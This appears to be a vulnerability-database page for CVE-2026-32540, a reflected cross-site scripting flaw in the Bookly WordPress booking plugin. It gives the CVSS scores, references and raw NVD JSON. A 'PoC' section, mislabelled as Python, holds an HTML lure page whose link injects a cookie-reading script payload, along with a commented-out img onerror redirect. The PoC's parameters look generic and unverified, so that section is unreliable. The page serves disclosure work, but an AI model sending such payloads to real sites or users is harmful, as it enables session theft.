CVE-2026-32540

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bookly Bookly bookly-responsive-appointment-booking-tool allows Reflected XSS.This issue affects Bookly: from n/a through <= 26.7.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Bookly <= 26.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-32540 -->
<!-- Usage: Send this link to an authenticated victim -->

<html>
  <body>
    <h3>Click to test Calendar</h3>
    <a href='http://target-wordpress-site/wp-admin/admin-ajax.php?action=bookly_get_appointments&form_id=<script>alert(document.cookie)</script>'>Click Here</a>
    
    <script>
      // Automatic redirection example
      // var payload = "<img src=x onerror=alert('XSS')>";
      // var url = "http://target-site/wp-admin/admin.php?page=bookly-calendar&filter=" + encodeURIComponent(payload);
      // window.location.href = url;
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32540
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32540
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32540/
[4] VulDB https://vuldb.com/cve/CVE-2026-32540
[5] https://patchstack.com/database/Wordpress/Plugin/bookly-responsive-appointment-booking-tool/vulnerability/wordpress-bookly-plugin-26-7-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32540", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:17:07.837", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bookly Bookly bookly-responsive-appointment-booking-tool allows Reflected XSS.This issue affects Bookly: from n/a through <= 26.7."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Bookly Bookly bookly-responsive-appointment-booking-tool permite XSS Reflejado. Este problema afecta a Bookly: desde n/a hasta <= 26.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/bookly-responsive-appointment-booking-tool/vulnerability/wordpress-bookly-plugin-26-7-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}